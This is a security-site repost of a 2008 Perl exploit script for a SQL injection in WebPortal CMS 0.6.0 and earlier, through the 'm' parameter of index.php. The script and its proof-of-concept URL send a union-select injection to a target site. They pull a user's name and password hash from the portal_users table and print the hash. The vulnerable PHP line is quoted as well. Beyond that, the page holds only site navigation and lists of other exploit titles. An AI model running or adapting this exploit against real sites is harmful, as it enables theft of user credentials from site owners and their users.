首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
WebPortal CMS <= 0.6.0 (index.php m) Remote SQL Injection Exploit
来源:webportal.ivanoculmine.com 作者:x0kster 发布时间:2008-01-02  
#!/usr/bin/perl -w

# WebPortal CMS <= 0.6.0 Remote Sql Injection Exploit
# Script Site : webportal.ivanoculmine.com
# by x0kster - x0kster[AT]gmail[DOT]com
# PoC : http://site/index.php?m=index.php?m=-1'+union+select+1,concat(uname,0x3a,pass),3,4,5,6,7+from+portal_users+where+id=1/*
# Note : For work register_globals is must be turned on and warning messages too and magic_quotes_gpc must be turned off.
# Vuln Code in index.php:
# <?php
#  [...]
#  if (isset($m)) {
#  $result = db_query ("SELECT * FROM ".$prefix."modules WHERE id='$m';"); <- Vuln Code :-)
#  [...]
# ?>
# If we select an inesistent id of a mod, it'll try to include it.
# So we have a warning error with the hash!.

use LWP::UserAgent;
if (@ARGV < 2){
print "---------------------------------------------------------------\n";
print "WebPortal CMS <= 0.6.0 Remote Sql Injection Exploit by x0kster.\n";
print "Usage : perl $0 site userid \n";
print "Ex:     perl $0 http://localhost/webportal/ 1\n";
print "Coded by x0kster -x0kster[AT]gmail[DOT]com   \n";
print "---------------------------------------------------------------\n";
exit();
}
$b = LWP::UserAgent->new() or die "[-]LWP::UserAgent error.\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
print "[+]Exploiting.\n";
$host = $ARGV[0]."index.php?m=index.php?m=-1'+union+select+1,concat(uname,0x3a,pass),3,4,5,6,7+from+portal_users+where+id=".$ARGV[1]."/*";
$res = $b->request(HTTP::Request->new(GET=>$host));
$res->content =~ /([0-9a-fA-F]{32})/;
print "[+]Ok, hash for username with userid ".$ARGV[1]." is $1\n";
print "[+]Exploiting terminated.\n";
print "[+]Coded by x0kster\n";

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Vantage Linguistics AnswerWork
·DivX Player 6.6.0 ActiveX SetP
·oneSCHOOL (all versions) admin
·MyPHP Forum <= 3.0 (Final) Rem
·Zenphoto 1.1.3 (rss.php albumn
·Site@School <= 2.3.10 Remote B
·IBM Domino Web Access Upload M
·DCP-Portal <= 6.11 Remote SQL
·Macrovision Installshield isus
·Half-Life CSTRIKE Server 1.6 D
·Persits Software XUpload Contr
·FlexBB <= 0.6.3 Cookies Remote
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved